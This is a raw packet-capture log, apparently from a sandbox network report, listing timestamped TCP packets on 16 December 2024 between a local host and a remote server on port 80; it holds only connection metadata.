Dec 16, 2024 15:38:24.554425955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.555378914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.555488110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.556408882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.556648970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.556653976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.556741953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.557497978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.557606936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.557746887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.558542013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.558638096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.558720112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.559678078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.560136080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.560332060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.560687065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.561048985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.561108112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.561959982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.561974049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.562154055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.562962055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.563010931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.563106060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.563844919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.563966036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.564064980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.564980984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.565048933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.565129995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.565988064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.566124916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.566227913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.567065954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.567193031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.567344904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.568149090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.568226099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.568444014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.569200039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.569310904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.569370031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.570301056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.570434093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.570523977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.571280003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.571388006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.571439981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.572357893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.572454929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.572537899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.573446989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.573494911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.573561907 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.574532986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.574738026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.574817896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.575769901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.575876951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.576035976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.576894045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.576901913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.577191114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.577722073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.577821970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.577889919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.578803062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.578897953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.578980923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.579812050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.579937935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.580002069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.580893993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.581048965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.581175089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.581943035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.581998110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.582065105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.583000898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.583112955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.583208084 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.584041119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.584122896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.584172010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.585117102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.585308075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.585357904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.586175919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.586229086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.586283922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.587223053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.587301016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.587349892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.588305950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.588418961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.588893890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.589360952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.589484930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.589955091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.590456963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.590503931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.590534925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.591515064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.591697931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.592374086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.592652082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.592664003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.592711926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.593663931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.593780994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.593904972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.594690084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.594747066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.594803095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.595017910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.595834017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.595901012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.596880913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.596939087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.596992970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.597229958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.597954988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.598042965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.598187923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.599010944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.599016905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.599168062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.600033045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.600049019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.600095987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.601007938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.627691031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.737350941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.737426996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.737643957 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.737732887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.737848997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.738692045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.738857985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.738945961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.739089966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.739618063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.739691019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.739834070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.740781069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.740852118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.741030931 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.741744995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.741868973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.741961002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.742898941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.742944002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.743109941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.743853092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.743964911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.744379044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.744901896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.745038986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.745234013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.745980024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.746083021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.746543884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.747071028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.747194052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.747245073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.748111963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.748215914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.748275042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.749368906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.749428034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.749526978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.750243902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.750359058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.750833988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.751326084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.751358032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.751458883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.752407074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.752510071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.753506899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.753675938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.753711939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.753742933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.754508972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.754662037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.754825115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.755542040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.755616903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.755731106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.756701946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.756896973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.756968975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.757680893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.757953882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.758009911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.758826017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.758932114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.758992910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.759865046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.759872913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.759928942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.760880947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.760956049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.761113882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.761954069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.762109041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.762172937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.763075113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.763266087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.763318062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.764096022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.764233112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.765152931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.765216112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.765336037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.766199112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.766227007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.766273022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.766294003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.767266989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.767384052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.767446041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.768333912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.768548965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.768866062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.769442081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.769578934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.770121098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.770589113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.770783901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.770950079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.771703005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.771755934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.771809101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.772742987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.772815943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.772955894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.773653030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.773786068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.773881912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.774738073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.774904966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.775156975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.775795937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.775912046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.775999069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.776853085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.776952982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.777107000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.777923107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.778011084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.778137922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.778975010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.779098988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.779150963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.779555082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.780069113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.780309916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.781105995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.781131983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.781233072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.781279087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.782218933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.782381058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.782847881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.783449888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.783605099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.783734083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.784341097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.784404993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.784466028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.785320997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.785429001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.785552025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.786421061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.786497116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.786694050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.787554026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.787616968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.787668943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.788573980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.788695097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.788810015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.789750099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.789900064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.789956093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.790687084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.790795088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.790848970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.791804075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.791924953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.792084932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.792778969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.847974062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.929574966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.929589987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.929685116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.929971933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.929980040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.930037022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.931019068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.931077957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.931292057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.932156086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.932301044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.932565928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.933188915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.933316946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.933495998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.934264898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.934350967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.934406042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.935277939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.935425043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.935605049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.936393023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.936413050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.936554909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.937469006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.937621117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.937673092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.938468933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.938754082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.939419985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.939532995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.939713955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.940655947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.940778017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.940840006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.941771030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.941919088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.941973925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.942768097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.942862988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.943308115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.943820953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.943950891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.944072008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.945024967 CET	80	49747	185.215.113.16	192.168.2.6
